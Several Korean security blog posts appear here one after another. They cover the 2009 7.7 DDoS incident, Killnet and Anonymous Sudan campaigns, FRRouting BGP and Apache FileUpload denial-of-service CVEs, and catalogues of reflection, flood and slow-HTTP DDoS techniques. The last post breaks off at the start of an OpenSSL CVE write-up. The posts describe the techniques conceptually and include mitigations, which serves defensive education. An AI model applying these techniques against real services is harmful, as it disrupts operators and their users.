1. 개요

- 09.07.07 ~ 07.10 3차례에 걸쳐 국내 주요 기관 및 인터넷 포털 사이트를 대상으로 대규모 DDoS 공격 발생

> 09.07.04 미국 주요 사이트를 대상으로 공격이 시작되어, 09.07.07 국내 대상 공격이 시작됨

- 정부기관, 은행, 포털, 언론, 쇼핑몰 등 26개 주요 인터넷 사이트가 서비스 제공이 불가능

- 공격 이후 경각심을 깨우치고 공격 예방 및 정보보호 생활화를 위해 매년 7월 둘째 수요일을 정보보호의 날로 지정

 

2. 주요내용

2.1 타임라인

① 웹하드 서버 악성코드 감염

- 미상의 공격자는 웹하드 서비스 업체의 서버에 침입

- 웹하드 프로그램 업데이트 파일에 악성코드를 삽입

 

② 사용자 웹하드 업데이트

- 사용자는 자동 업데이트 등으로 웹하드 업데이트 진행

- 업데이트 파일에 삽입된 악성코드에 의해 msiexec.exe 파일이 악성코드에 감염

※ msiexec.exe

> 파일 경로: C:\Windows\system32

> Windows에서 사용하는 인스톨러 관련 기능을 담당하는 설치 프로그램

 

③ C2 서버 접근

- 감염된 사용자 PC는 C2서버 접속 및 DDoS 공격을 위한 파일 다운로드

- 다운로드 파일: msiexec1.exe, msiexec2.exe, msiexec3.exe

※ 각 파일의 동작 과정은 동일하며, 공격 대상 리스트와 DDoS 공격 방식의 차이를 보임

 

④ 추가 파일 다운로드

- msiexec1.exe은 DDoS 공격을 위한 추가 파일 다운로드

> msiexec2.exe, msiexec3.exe의 경우 uregvs.nls 파일의 내용만을 변경하며 나머지 과정은 동일

파일명 설명
uregvs.nls - 공격 대상과 관련된 정보 저장
- 공격 대상, 공격 시작/종료 시각 정보 등
wmiconf.dll - DDoS 공격에 이용되는 트래픽 발생
- 윈도우 서비스 등록 후 uregvs.nls에서 공격 대상을 읽어 DDoS 공격 수행
vme.bat 자신을 포함하여 다운 받은 파일이 모두 삭제될 때까지 반복
wmcfg.exe mstimer.dll을 생성 및 실행
mstimer.dll - Windows Time Service(컴퓨터의 날짜와 시간을 동기화)로 등록하여 스팸 메일 전송
- flash.gif 파일 다운로드
flash.gif 파일 내부에 악성 파일이 삽입되어 있으며, wversion.exe 생성
wversion.exe - mstimer에 의해 조건(2009년 7월 10일 00시)이 만족할 경우 동작
- 모든 하드 디스크에 ‘Memory of the Independence Day’ 문자열을 삽입해 MBR 및 파티션 정보 삭제
- 파괴 전 ppt, xml, doc 등의 중요한 확장자를 검색하여 암호화

 

[사진 1] 파일 동작 과정 요약

⑤ DDoS 공격 수행

- 다운받은 파일을 기반으로 DDoS 수행

> 당시 KISA는 공격이 115,000여개 IP주소에서 공격 트래픽이 발생했다고 발표

- 국내 DDoS 공격 대상

구분 국가/공공기관(7) 금융기관(7) 민간기관(7)
언론사 포털 사이트 보안업체
사이트 청와대
국회
국방부
외교통상부(現 외교부)
한나라당
국가사이버안전센터
전자민원G4C(現 정부24)
농협
신한은행
외환은행
기업은행
하나은행
우리은행
국민은행
조선일보 옥션
네이버(메일, 블로그)
다음(메일)
파란(메일)
알툴즈
안철수 연구소

 

2.2 기존 DDoS와 차이점

기존 DDoS 구분 7.7 DDoS
해커로부터 명령을 받는 명령·제어 서버 존재 C2 존재 여부 악성코드 업데이트 서버 존재
C2 서버의 네트워크를 통한 실시간 공격 공격 방법 일정 주기로 악성코드를 업데이트 받아 
스케줄링을 통한 공격
여러 취약점을 악용한 악성코드로 인한 감염 감염경로 공격자가 정상적인 프로그램에  숨겨둔 악성코드가 동작
C2 서버 차단 대응방안 악성코드 제거
상대적 소수 공격대상 상대적 다수
DDoS 공격 위한 악성코드 1개 악성코드 갯수 압축파일 형태의 악성코드를 다운로드
DDoS 공격 외에도 다양한 악성행위 수행
공격명령내용 모니터링 가능 네트워크 
연결정보
암호화된 채널을 사용
공격자 명령 지속적 수행 악성 행위 단기공격 수행 후 하드디스크 삭제
금전적 이득 공격 목적 사회혼란 유발(추정)

※ 당시 발표된 자료를 기반한 정리로 현황가 차이가 있을 수 있음

 

2.3 당시 사후조치

구분 설명
DDoS 대응체계 확립의 필요성 대두 - 국가 사이버위기 종합대책을 수립 시행
- 금융감독원: DDoS 공격 대응 종합 대책
- 금융결제원: DDoS 공격 대피소 구축

- 행정안전부: 범정부 DDoS 공격 대응 체계 구축
- 방송통신위원회&한국인터넷진흥원
> 영세 기업을 위한 DDoS 공격 사이버 긴급대피소 구축 사업
> 인터넷망 연동 구간 DDoS 공격 대응 체계 구축 3차 사업
> 좀비 PC 치료 체계 시범 구축 사업 등을 추진
인터넷침해사고 주의 경보 발령 시간 경과 및 공격 소강에 따른 단계 완화
민간 협력체계 활용
(유관기관, 포털업체, ISP, 백신업체 등 공조)
숙주 사이트 및 악성코드 유포사이트 차단
악성코드에 의한 하드디스크 파괴 관련 피해 확산 방지를 위한 보안공지 및 복구 지원
- 유관기관: 사태완화 노력 및 피해 사이트와 인터넷 이용자에 대한 지원
- 포털업체: 현 상황 설명 및 피해 주의 공지문 게재
- ISP 업체: 좀비 PC 확인, 숙주·유포 사이트에 대한 차단 조치 수행
- 백신업체: DDoS 악성코드 치료를 위한 전용백신을 개발하여 무료 배포

 

3. 대응방안

구분 조치
사용자 - 백신 최신 업데이트 유지
- OS 최신 업데이트 유지
- 출처가 불분명한 파일 저장 및 실행 금지/주의
- 공식 홈페이지에서 파일 다운로드 등
서비스 제공자 - 내부-외부 네트워크 경계에 방화벽 설치
- Anti-DDoS 솔루션 도입
- 로드밸런싱, 이중화 등으로 서비스 장애 대비
- 주기적 취약점 점검 및 조치하여 최신 상태 유지
- 불필요 또는 미사용 포트 점검 등
국가 - 효율적 대응 체계 마련
- 사이버침해 관련 지원 활성화
- 범국민 대상 보안 관련 자료 또는 공익광고 배포 등

 

4. 참고

[1] https://teamcrak.tistory.com/110
[2] https://ko.wikipedia.org/wiki/7%C2%B77_DDoS_%EA%B3%B5%EA%B2%A9
[3] https://itwiki.kr/w/7.7_%EB%94%94%EB%8F%84%EC%8A%A4
[4] https://www.boannews.com/media/view.asp?idx=21860
[5] https://www.etnews.com/201209110597

1. 개요

- 23.06.15 Killnet은 자신들의 텔레그램에 유럽 은행에 대한 DDoS 연합 공격을 예고

> 친러 해킹단체 Killnet, REvil 및 핵티비스트 Anonymous Sudan 연합

- 공격 대상에는 SEPA, IBAN, WIRE, SWIFT, WISE 등 국제 송금 시스템 등이 포함

 

2. 공격 내용

- 23.06.19 Killnet은 텔레그램을 통해 유럽 투자 은행 (European Investment Bank, EIB)에 대한 공격을 예고

> EIB는 트위터를 통해 eib[.]org, eif[.]org 사이트가 DDoS 공격을 받고있으며, 조치 중으로 발표

> 웹 사이트는 현재까지 모두 접속되지 않음

[사진 1] Killnet 텔레그램 EIB 공격 예고(좌) 및 관련 사이트 접속 불가(우)

 

- 23.06.21 21시경 텔레그램을 통해 국제 금융 공사(International Finance Corporation, IFC)에 대한 공격을 예고

> 공격 이후 텔레그램을 통해 IFC 홈페이지 다운을 주장하였으나, 잠깐 마비된 후 정상화된 것으로 판단됨.

[사진 2] IFC 공격 예고

2.1 Anonymous Sudan

- 23.01부터 활동을 시작한 핵티비스트 그룹
- 스웨덴과 덴마크의 종교적 문제로 공격을 시작
- 일부 보안 업체에서는 수단과 관계없이 러시아의 지원을 받는 해커그룹이라는 의견을 제시

 

2.1.1 공격 특징

- 23.06 Microsoft를 대상으로 DDoS 공격을 진행하여 Azure, Outlook, OneDrive 서비스 중단 발생

> MS에서는 구체적인 공격의 규모를 발표하지 않음

- MS에 대한 공격 당시 어플리케이션 계층(Layer 7) DDoS 공격 진행

 

공격명 설명
HTTP(S) Flood Attacks 대상 서버에 GET, POST Method를 사용해 다수의 연결 요청을 보내 웹 서버의 세션을 소진
Cache Bypass Cache-Control 헤더를 조작해 Cache 서버를 거치지 않고 직접 웹 서버에 요청하여 웹 서버의 자원 소진
Slowloris HTTP Header를 조작해 전송하여 웹 서버가 모든 데이터를 수신하기까지 대기하도록 하여 웹 서버의 자원 소진

 

- 23.06.24 30분 ~ 2시간 동안 news[.]ua(우크라이나 뉴스)를 공격하여 서비스 중단 발생

- 23.06.25 30분 ~ 1시간 동안 alhadath[.]net(아랍 뉴스)를 공격하여 서비스 중단 발생

- 23.06.26 30분 ~ 1시간 동안 alarabiya[.]net(아랍 뉴스)를 공격하여 서비스 중단 발생

1. BGP (Border Gateway Protocol) [1]

- 서로 다른 AS(autonomous system) 사이에서 사용되는 라우팅 프로토콜

- 179/TCP 사용하여, 유니캐스트 방식으로 라우팅 정보를 전송

- 조직간에 계약된 정책(Policy)에 따라 최적 경로를 결정

- 장애가 발생할 경우 적게는 하나의 국가, 크게는 전 세계의 네트워크에 영향을 미침

> AS 간 라우팅을 수행하며, 수만 개에서 수십만 개 이상의 네트워크가 라우팅 테이블에서 관리되기 때문으로 판단됨.

 

2. 취약점 [2]

2.1 개요

- FRRouting, BIRD, OpenBGPd, ​​Mikrotik RouterOS, Juniper JunOS, Cisco IOS, Arista EOS 등 7가지 BGP 구현을 분석

> BGP 보안에서 자주 간과되는 소프트웨어 구현의 취약점 발견

> 공격자가 취약한 BGP 피어에 서비스 거부(DoS)를 유발할 수 있는 BGP 메시지 구문 분석 취약점

> 각 취약점은 FRRouting 팀에 전달되었으며 다음 버전에서 수정됨

 

[사진 1] BGP 프로토콜 분포

 

- BGP 프로토콜 보안과 관련한 많은 연구가 진행

> BGP 피어가 리소스 공개 키 인프라(RPKI)와 같은 인증 및 암호화 메커니즘을 적용

※ RPKI (Resource Public Key Infrastructure): 인터넷주소자원 소유기관 및 IP주소, AS번호 등을 PKI(공개키 기반 암호화)를 기반으로 전자서명 처리하여 해당 라우팅 정보의 무결성을 인증하는 것

> 하지만, 최근 연구에서 BGP가 여전히 안전하지 않다는 것을 보여주고 있음

 

- 리눅스 및 유닉스용 오픈소스 인터넷 라우팅 프로토콜 FR라우팅(FRRouting) [4] 8.4 버전(22.07 배포)에서 새로운 취약점이 발견

> FR라우팅(FRRouting)은 엔비디아, 덴트, 소닉 등 유명 기업들에서도 사용하는 라우팅 프로토콜

해당 취약점들을 신속히 패치하지 않으면 공급망에 큰 영향을 미칠 수 있으며, 공격자는 취약점을 악용해 다음의 행위를 수행할 수 있음

① 모든 BGP 세션 및 라우팅 테이블을 삭제

② 지속적으로 잘못된 패킷을 전송해 BGP 피어를 응답하지 않는 서비스 거부 상태로 유지

※ BGP 데몬은 일정 시간 초과 후 자동으로 재시작함

CVE ID 설명 CVSS v3.1 잠재적 영향
CVE-2022-40302 [5] 확장된 선택적 매개변수 길이 옵션을 사용하여 특수 제작된 BGP OPEN 메시지를 처리할 때 발생하는 범위를 벗어난 읽기 취약점 6.5 서비스 거부
CVE-2022-40318 [5] 확장된 선택적 매개변수 길이 옵션을 사용하여 특수 제작된 BGP OPEN 메시지를 처리할 때 발생하는 범위를 벗어난 읽기 취약점 (CVE-2022-40302와 다른 취약점)
CVE-2022-43681 [6] 옵션 길이 옥텟(또는 확장된 옵션 길이 메시지가 있는 OPEN의 경우 옵션 길이 단어)로 갑자기 끝나는 잘못된 형식의 BGP OPEN 메시지를 처리할 때 발생하는 범위를 벗어난 읽기 취약점

 

2.2 CVE-2022-40302

- 취약점의 근본 원인은 BGP OPEN 메시지에서 확장 옵션 길이 옥텟에 대한 불충분한 경계 검사

 

[사진 2] 취약한 버전의 소스코드 중 일부

- line 1: 옵션 길이 옥텟(optlen 변수)을 읽음

> optlen이 0xff(BGP_OPEN_NON_EXT_OPT_LEN 상수로 정의됨)인 경우 stream_getc()를 호출하여 다음 옥텟 (optype) 읽기를 계속 수행

> 확장 옵션 매개 변수를 0xff로 끝나도록 조작된 BGP OPEN 메시지가 수신되면, stream_getc() 호출 시 범위를 벗어난 읽기가 발생하는 것으로 판단됨.

 

- line 8: 원시 패킷 스트림에서 다음 옥텟 값을 읽음

> optype이 0xff와 동일한 경우 OPEN 패킷에는 RFC 9072(프로토콜 표준 문서)에 따라 확장된 옵션 매개 변수가 포함된 것으로 간주

> 조작된 BGP OPEN 메시지에 의해 범위를 벗어난 읽기가 발생하며, 이로인해 SIGABRT 시그널이 발생하여 FRRouting의 bgpd 데몬이 다시 시작되어 DoS 상태가 발생하는 것으로 판단됨.

※ SIGABRT: 프로세스가 비정상적인 상태에 도달했을 때 강제로 프로세스를 종료하기 위한 시그널

 

2.3 CVE-2022-40318 // 불확실하므로 추가 공부 필요

- 취약점의 근본 원인은 AS4 기능(RFC 6793에 따른 4바이트 AS 번호)을 읽을 때 OPEN 메시지 패킷에 대한 잘못된 경계 검사

 

[사진 3] 취약한 버전의 소스코드 중 일부

- peek_for_as4_capability()는 AS4의 기능을 찾기위해 구문 분석을 수행하는 함수

> line12: 수신된 옵션의 길이 검증

> 수신된 OPEN 메시지에 길이가 확장된 옵션 매개 변수가 있는 경우(RFC 9072에 따름) 원시 패킷 스트림에서 2바이트 대신 3바이트를 읽음

> 코드가 "while" 루프에서 반복되도록 하여 반복 중 하나에서 범위를 벗어난 읽기를 트리거하는 것으로 판단 됨

 

2.4 CVE-2022-43681 // 불확실하므로 추가 공부 필요

- bgp_open_option_parse() 함수에서 취약점이 발생

> line6: 정규 옵션 길이를 가진 패킷에 존재해야 하는 2개의 옥텟만 설명하는 경계 검사 수행

> 경계 검사는 총 세 개의 옥텟이 있어야 하는 확장 옵션 길이를 고려하지 못하여 범위를 벗어난 읽기를 트리거

 

2.3 완화

- BGP는 인터넷의 필수적인 부분이기 때문에 보안에 대한 몇 가지 지침이 있음

> 그러나 이러한 지침은 BGP 보안에 대한 알려진 문제와 RPKI 배포 방법에만 초점을 맞추는 경향이 있음

> 따라서 조직은 BGP 보안을 처리하기 위해 ISP에만 의존해서는 안 됨

 

- 네트워크 인프라 장치 패치

> 확인된 3개의 취약점과 같은 BGP 구현상 취약점 완화 목적

> 조직의 모든 네트워크 장치와 해당 장치에서 실행 중인 소프트웨어 버전 형상 관리 필요

 

- Forescout은 Python 기반 오픈 소스 BGP Fuzzer 도구를 제공 [7]

> 조직이 내부적으로 사용되는 BGP 제품군의 보안을 테스트하고 BGP 구현에서 새로운 결함을 찾을 수 있도록하기 위함

 

3. 참조

[1] https://net-study.club/entry/Routing-Protocol-BGP-Border-Gateway-Protocol
[2] https://www.forescout.com/blog/three-new-bgp-message-parsing-vulnerabilities-disclosed-in-frrouting-software/
[3] https://thehackernews.com/2023/05/researchers-uncover-new-bgp-flaws-in.html
[4] https://github.com/FRRouting/frr
[5] https://github.com/FRRouting/frr/pull/12043
[6] https://github.com/FRRouting/frr/pull/12247
[7] https://github.com/Forescout/bgp_boofuzzer/

'취약점 > Denial of Service' 카테고리의 다른 글

2009.07.07 DDoS  (1) 2023.07.06
Anonymous Sudan DDoS  (0) 2023.06.23
Apache Commons Fileupload 서비스 거부 취약점 (CVE-2023-24998)  (0) 2023.02.27
DDoS 공격 유형 #2  (0) 2023.02.02
DDoS 공격 유형  (0) 2023.02.02

1. Apache Commons Fileupload [1]

- 파일 업로드 기능을 서블릿 및 웹 애플리케이션에 추가하기위한 패키지

 

2. 취약점 [2]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-24998

- 취약한 버전의 Apache Commons FileUpload에서 requestpart에 대해 제한을 두지 않아 발생하는 서비스 거부 취약점

제품명 영향받는 버전
Apache Commons FileUpload 1.0-beta-1 ~ 1.4
Apache Tomcat 11.0.0-M1
10.1.0-M1~ 10.1.4
9.0.0-M1~ 9.0.70
8.5.0~ 8.5.84

 

2.1 분석

- 자바에서 Annotation은 코드 사이에 주석처럼 쓰이며 특별한 의미, 기능을 수행하도록 하는 기술 [3][4]

- Annotation의 용도는 다음과 같음

컴파일러에게 코드 작성 문법 에러를 체크하도록 정보를 제공

② 소프트웨어 개발 툴이 빌드나 배치시 코드를 자동으로 생성할 수 있도록 정보를 제공

실행시(런타임시)특정 기능을 실행하도록 정보를 제공

 

- 취약점에 악용된 RequestPart 또한 Annotation으로 "multipart/form-data" 요청의 일부를 메서드 인수와 연결하는 데 사용하는 어노테이션임

[사진 2] @RequestPart Annotation

 

- FileUploadBase.java의 내용을 확인해보면 처리할 요청 부분의 수를 제한하지 않는 것으로 판단됨. [5]

- 따라서 공격자는 악의적인 업로드 또는 일련의 업로드로 DoS를 트리거할 수 있음

[사진 3] src/main/java/org/apache/commons/fileupload/FileUploadBase.java

3. 대응방안

① 벤더사에서 제공하는 최신 업데이트 적용 [8][6][7]

제품명 영향받는 버전 패치 버전
Apache Commons FileUpload 1.0-beta-1 ~ 1.4 1.5
Apache Tomcat 11.0.0-M1 11.0.0-M3
10.1.0-M1~ 10.1.4 10.1.5
9.0.0-M1~ 9.0.70 9.0.71
8.5.0~ 8.5.84 8.5.85

 

- 업데이트를 확인해보면 fileCountMax 변수를 이용해 파일 업로드 횟수에대한 제한을 적용한 것으로 판단됨.

 

Update packaged renamed fork of Commons File Upload · apache/tomcat@8a2285f

Show file tree Showing 8 changed files with 116 additions and 14 deletions.

github.com

 

Add a new limit for the number of files uploaded per request (#185) · apache/commons-fileupload@e20c049

Back port

github.com

 

4. 참고

[1] https://commons.apache.org/proper/commons-fileupload/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-24998
[3] https://velog.io/@gillog/Spring-Annotation-%EC%A0%95%EB%A6%AC
[4] https://velog.io/@hwan2da/Spring-RequestBody-vs-RequestParam-vs-RequestPart-vs-ModelAttribute
[5] https://archive.apache.org/dist/commons/fileupload/source/
[6] https://archive.apache.org/dist/tomcat/
[7] https://commons.apache.org/proper/commons-fileupload/download_fileupload.cgi
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71001&menuNo=205020
[9] https://blog.alyac.co.kr/5086

1. 대역폭 공격_DRDoS

DNS Reflection Attack
요약 - 공격자는 다량의 DNS 패킷을 서버로 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - 피해자의 IP로 스푸핑하여 네임서버에 비정상 DNS 질의를 요청하고, 요청을 받은 네임서버는 DNS 응답 값을 위장한 IP로 전송하여 공격 대상의 회선 대역폭을 고갈시키는 공격 (DNS Port: 53_UDP/TCP)

- 공격 트래픽 양을 높이기 위하여 단순 DNS Query가 아닌 Zone의 모든 정보를 요청하는 “ANY” 또는 "TXT" 레코드 등를 요청하는 특징

 

NTP Reflection Attack
요약 - NTP 서버에게 비정상적인 요청패킷을 보내서 되돌아오는 응답 값을 공격 payload로 활용하는 공격 유형
설명 - 시간동기화를 위해 사용되는 NTP(Network Time Protocol) 서버를 반사서버로 악용한 공격 (NTP Port: 123_UDP)

- 피해자의 IP로 스푸핑 한 다음 확보한 서버들을 대상으로 가능한 많은 응답패킷을 만들어 내기 위해 monlist를 요청하는 명령을 전송

- monlist: 구버전의 NTP서버에서 사용하는 명령어로, 최근 접속한 최대 600개의 접속 호스트에 대한 정보를 응답 받을 수 있는 명령어 (v2.4.7 이상에서는 해당 명령어가 삭제됨)

 

CLDAP Reflection Attack
요약 - CLDAP 서버에게 비정상적인 Query를 보낸 후 되돌아오는 응답 값을 공격 패킷으로 활용하는 공격 유형
설명 - CLDAP(Connection-less Lightweight Directory Access Protocol)이란 네트워크상에서 디렉토리를 연결/검색/수정하기 위해 사용되는 프로토콜 (CLDAP Port: 389_UDP)

- CLDAP 서버를 반사서버로 악용한 공격

- CLDAP 서버가 갖고 있는 모든 Entry 및 Attribute 값을 요청하며, 서버가 갖고 있는 Node 정보가 많을수록 응답 패킷의 규모가 커짐 (증폭률 56~70배)

 

SSDP Reflection Attack
요약 - SSDP 기능을 악용하여 가능한 한 많은 데이터를요청하는 Search 명령을 보내 정상적인 서비스가 불가능하도록 하는 공격 
설명 - IoT 기기들에 널리 사용되는 SSDP(Simple Service Discovery Protocol)는 UPnP 장치를 탐색할 때 주로 사용되는 프로토콜로 네트워크상의 다른 장치를 찾거나 알리는 역할을 수행 (SSDP Port: 1900_UDP)

- 더 많은 응답 패킷을 만들어 내기 위해 ssdp:all 혹은 ssdp:rootdevice 값이 포함된 Search 명령을 요청

- IoT 기기들은 요청 받은 Search 패킷의 크기와 비교하여 훨씬 더 많은 크기의 응답 패킷을 피해자의 시스템으로 전달 (증폭률 최대 30배)

 

Memcached Reflection Attack
요약 - Memcached 서버의 기능을 악용하여 저장된 캐싱 데이터를 가능한 한 많이 요청하는 request 명령을 요청하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - Memcached 서비스는 내부에서 DB부하감소 및 응답속도 증가를 위해 분산된 메모리에 데이터를 캐싱하는 서비스로 내부에서만 접근하여 사용하도록 설계되었으며, “Key”값으로 “Data”를 매핑하는 구조 (Memcached Port: 11211_UDP)

- Memcached 서버들에게 사전에 확보한 Key값에 대한 Data를 요청 (증폭률 최대 51,000배)

 

WS-Discovery Reflection Attack
요약 - 윈도우 기반 기기들에게 요청을 할 때 고의적으로 XML오류 응답 메시지를 반복적으로 유발시키는 명령을 요청하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - WS-Discovery 서비스는 윈도우 기반 기계들이 네트워크 프린터 등을 자동으로 찾아서 연결 설정을 완료하는데 사용되는 서비스 (WS-Discovery Port: 3702_UDP)

- 원래는 내부 네트워크망에서만 사용되지만 인터넷망에 노출될 경우에는 디도스 공격으로 악용

- WSD 사용 기기들에게 XML오류 응답 메시지를 반복적으로 유발시키는 명령을 대량 요청 (증폭률 최대 500배)

 

ARMS Reflection Attack
요약 - 취약한 Apple Mac 컴퓨터를 대상으로 원격접속 요청하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - ARMS는 Apple社 기기(mac OS)들의 원격 제어 기능을 활성화 할 때 사용되는 데스크탑 원격 제어 프로토콜로 (ARMS Port: 3283_UDP/TCP)

- 확보된 기기들에게 대량의 request 패킷 요청 (증폭률 최대 35.5배)

 

CoAP Reflection Attack
요약 - 외부 노출된 IoT 기기 및 모바일 장치들을 대상으로 변조된 GET Request를 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - CoAP(Constrained Application Protocol)이란 IoT 기기들을 위해 사용되는 프로토콜의 일종으로서, 주로 저전력 컴퓨터들을 위해 만들어진 간단한 프로토콜 (CoAP Port: 5683_UDP)

- 확보한 기기에 CoAP GET Request를 전달 (증폭률 최대 50배)

.

Jenkins Reflection Attack
요약 - 자동 검색 프로토콜이 활성화된 상태에서 검색 요청 Packet을 받으면 요청 값에 관계없이 Jenkins 메타 데이터의 XML 결과값을 응답하는 취약점을 악용한 공격
설명 - Jenkins란 소프트웨어 개발 시 지속적으로 통합 서비스를 제공해주는 툴

- 다수의 개발자들이 하나의 프로그램을 개발할 때 발생할 수 있는 버전 충돌을 방지하기 위해 각자 작업한 내용을 공유 영역에 업로드 함으로써 지속적 통합을 지원 (Jenkins Port: 33848_UDP)

- Jenkins가 DDoS로 악용 될 수 있는 원인은 취약버전에서 Jenkins 검색을 위해 사용되는 UDP 프로토콜의 요청을 검증없이 응답하기 때문

- 확보한 Jenkins 서버들에게 자동검색 Packet을 요청 (증폭률 최대 100배)

 

SNMP Reflection Attack
요약 - SNMP(Simple Network Management Protocol) 장치들을 반사 기기로 악용한 공격
설명 - SNMP(Simple Network Management Protocol)이란 시스템이나 네트워크 관리자로 하여금 원격으로 네트워크 장비를 모니터링하고 환경설정 등의 운영을 할 수 있도록 하는 네트워크 관리 프로토콜 (SNMP Port: 161,162_UDP)

 

Chargen Reflection Attack
요약 - Chargen 프로토콜을 악용한 공격
설명 - Chargen 프로토콜은 네트워크를 통해 문자열을 생성하고 보내는 프로토콜로서, 반사공격에선 생성된 문자열을 payload로 활용함 (Chargen Port: 19_UDP)

 

SunRPC Reflection Attack
요약 - RPC(Remote Procedure Call) 프로토콜을 악용한 공격
설명 - RPC(Remote Procedure Call) 프로토콜은 원격으로 함수를 호출하여 사용할 수 있게 하는 프로토콜로 RPC mapper라는 서비스를 통해 이뤄짐 (RPC: 111_UDP)

- RPC mapper를 악용하여 RPC mapper response 패킷을 피해시스템에게 보내 대역폭을 고갈 시킴

 

SYN/ACK Reflection Attack
요약 - 대규모의 SYN/ACK 패킷을 피해대상에게 보내서 서버의 리소스를 소모시키는 공격 방식
설명 - 피해자의 IP로 스푸핑 한 후 반사서버를 향해 대규모의 SYN 패킷을 보내면 SYN 패킷에대한 응답으로 SYN/ACK 패킷이 피해서버로 반사되어 전달되는 방식

 

[사진 1] 유형별 반사공격 증폭률

1. 대역폭 공격

UDP Flooding
요약 - 공격자는 다량의 UDP 패킷을 서버로 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - UDP 프로토콜의 비연결형 (connectionless) 특성을 악용

- 대상서버에서 UDP Port를 사용하지 않아도 공격할 수 있으며, 공격을 수행하는 감염된 기기가 많을수록 위험도 증가

 

ICMP Flooding
요약 - 공격자는 다량의 ICMP Request 패킷을 서버로 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - 장치간 연결을 진단하는 ping 명령에 대표적으로 쓰이는 프로토콜로서 주로 ICMP Request와 Reply를 사용

- 증폭이 발생하지 않기 때문에 공격기기의 대역폭에 따라 공격 규모가 결정

 

2. 자원 소진 공격

SYN Flooding
요약 - 공격자는 다량의 SYN 패킷을 서버로 전송하여 서버의 대기큐를 가득채워 새로운 클라이언트의 연결요청을 무시하도록 하여 장애를 유발 시키는 공격 
설명 - TCP Protocol의 3-way-handshake를 악용

- SYN Flag만 지속적으로 전달하고 돌아오는 SYN/ACK 패킷에 대한 응답을 주지 않음

- 피해서버에서 가용할 수 있는 Backlog Queue를 전부 소모하여 정상 사용자 연결을 차단하게 됨

 

DNS Query Flooding
요약 - DNS서버에 대량의 DNS 질의를 보내서 정상 서비스를 할 수 없게 만드는 공격
설명 - DNS 서버는 UDP 프로토콜 53번을 통해 도메인 정보에 대한 IP주소를 요청을 받으면 해당하는 IP값을 응답하는 역할

- 단시간에 대량의 DNS 질의를 보내면 DNS서버는 요청한 DNS 질의에 대한 응답을 보내기 위해 자원을 소모하기 때문에 결과적으로 정상 서비스가 불가해짐

 

VSE Query Flooding
요약 - GRE 프로토콜을 이용해 특정사이즈의 패킷을 지속적으로 발생시켜 서버자원의 고갈을 유도
설명 - UDP (증폭) 공격으로 게임 서버에만 적용됨

- TSource 엔진 쿼리 요청을 게임 서버에 보내 서버가 모든 요청을 처리 할 수 없도록 하여 서비스 거부를 유발

 

GRE Flooding
요약 - 게임 서버를 대상으로 다량의 TSource Engine Query를 전송하여 서비스 거부를 유발 시키는 공격
설명 - GRE (Generic Routing Encapsulation): IP 네트워크에서 가상 점대 점 링크 내에 다양한 네트워크 계층 프로토콜을 캡슐화 할 수있는 터널링 프로토콜 

- GRE 프로토콜은 공격 시 encapsulation을 통해 대량의 payload를 전송 가능하고 , 타겟서버는 IP defragmentation 과정에서 자원 고갈이 발생 가능

 

Tsunami Syn Flooding
요약 - 패킷 당 1000bytes의 트래픽을 유발하여 서비스 거부를 유발 시키는 공격
설명 - 기존 SYN flood Attack은 패킷당 40~60bytes의 트래픽을 유발하는데 반해 Tsunami SYN-Flood Attack은 패킷당 1000bytes의 트래픽을 유발

- 일반적인 SYN 패킷에 25배(최대 1000bytes)의 크기로 패킷 데이터양을 추가하는 방식으로 공격을 수행

 

3. 웹/DB 부하 공격

GET Flooding
요약 - 서버와 세션을 맺은 후, HTTP GET 메소드 요청을 통해 웹서버 자원 소진 및 DB서버 자원을 소진 시키는 공격
설명 - 웹과 DB 부하 공격의 가장 대표적인 공격방식

- 서버와 세션을 맺은 후, HTTP GET 메소드 요청을 통해 웹서버의 자원을 소진함과 동시에 DB서버까지 자원을 소진 시켜서 정상적인 사용자의 웹서비스 이용을 차단

 

Slowloris Attack
요약 - HTTP 패킷의 헤더를 조작하여 오랜 시간 동안 지속적으로 공격으로 서버의 자원을 잠식하는 공격
설명 - 정상적인 HTTP 패킷의 헤더는 Carriage Return & Line Feed(이하 개행 문자)가 두 번 나타남

- 16진수로 0d0a0d0a

- 첫 번째 개행 문자는 헤더의 종료이며 두 번째 개행 문자는 전체 헤더의 종료를 의미

- 헤더의 마지막에 개행 문자를 하나만 전송할 경우 웹서버는 헤더가 모두 도착하지 않은 것으로 간주하고 연결을 유지하며 대기상태를 유지

 

RUDY Attack
요약 - Content-Length 헤더기를 매우 크게 설정한 후 서버로 전달할 데이터를 장시간에 걸쳐 조금씩 분할하여 전달해 서버의 자원을 잠식하는 공격
설명 - POST Method를 이용하는 대표적인 Slow 공격 유형

- POST 요청은 전달할 데이터의 크기를 Content-Length 헤더에 삽입하여 전송

- Content-Length 헤더기를 매우 크게 설정하고 데이터를 조금씩 전송하여 서버가 모든 데이터를 수신하기까지 대기하고, 결과적으로 정상 사용자들의 요청을 서비스 할 수 없게 됨

 

Slow read Attack
요약 - TCP 통신에서 사용되는 windows size를 악용한 공격기법
설명 - Client마다 한번에 처리할 수 있는 패킷의 크기가 다르기 때문에 해당 크기를 windows size 필드를 통해 전달

- windows size를 기준으로 패킷을 주고받음

- windows size를 낮게 설정하여 서버로 전달하고, 해당 size를 기준으로 통신하면서 데이터 전송이 완료될 때 까지 Connection을 유지하게 만들어 서버의 Connection 자원을 고갈시키는 공격

 

1. OpenSSL

- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리

- 여러 운영 체제와 광범위한 소프트웨어에 포함

 

/index.html

Welcome to OpenSSL! The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. The project’s technical decision making is managed by the O

www.openssl.org

 

1.1 SSL 통신 과정

[사진 1] SSL 통신 과정

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2022-0778

- 조작된 패킷을 전송하여 OpenSSL 내 BN_mod_sqrt() 함수에서 연산 시 무한 루프로 인해 발생하는 서비스 거부 취약점

① 영향받는 버전
